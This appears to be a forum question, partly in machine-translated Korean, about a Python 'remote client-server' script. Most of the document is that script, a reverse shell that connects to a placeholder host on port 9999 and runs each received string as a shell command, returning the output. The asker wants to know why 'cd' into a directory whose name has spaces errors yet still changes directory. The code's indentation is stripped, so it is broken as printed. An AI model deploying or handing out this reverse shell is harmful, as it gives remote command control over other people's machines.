import os
import socket
import subprocess
s = socket.socket()
host = '<my-ip>'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
outputBytes = cmd.stdout.read() + cmd .stderr.read()
outputStr = str(outputBytes, "utf-8")
s.send(str.encode(outputStr + str(os.getcwd() + '> ')))
print (outputStr)
# Close connection
s.close()
파이썬을 사용하여 원격 클라이언트 - 서버 응용 프로그램을 만들려고합니다.코드를 입력하면 디렉토리 오류가 발생하지만 여전히 디렉토리가 변경됩니다.
위 코드는 client.py의 코드입니다. 것은 모든 명령이 잘 작동하고 있습니다. 내가
"공간 디렉토리 이름"
CD를 사용할 때 그것은 나를이 오류 "지정된 경로를 찾을 수 없습니다"제공합니다. 하지만 여전히 디렉토리가 변경됩니다. 내가 왜 오류를 준 후에도 여전히 디렉토리를 변경하는 이유는 모르겠다.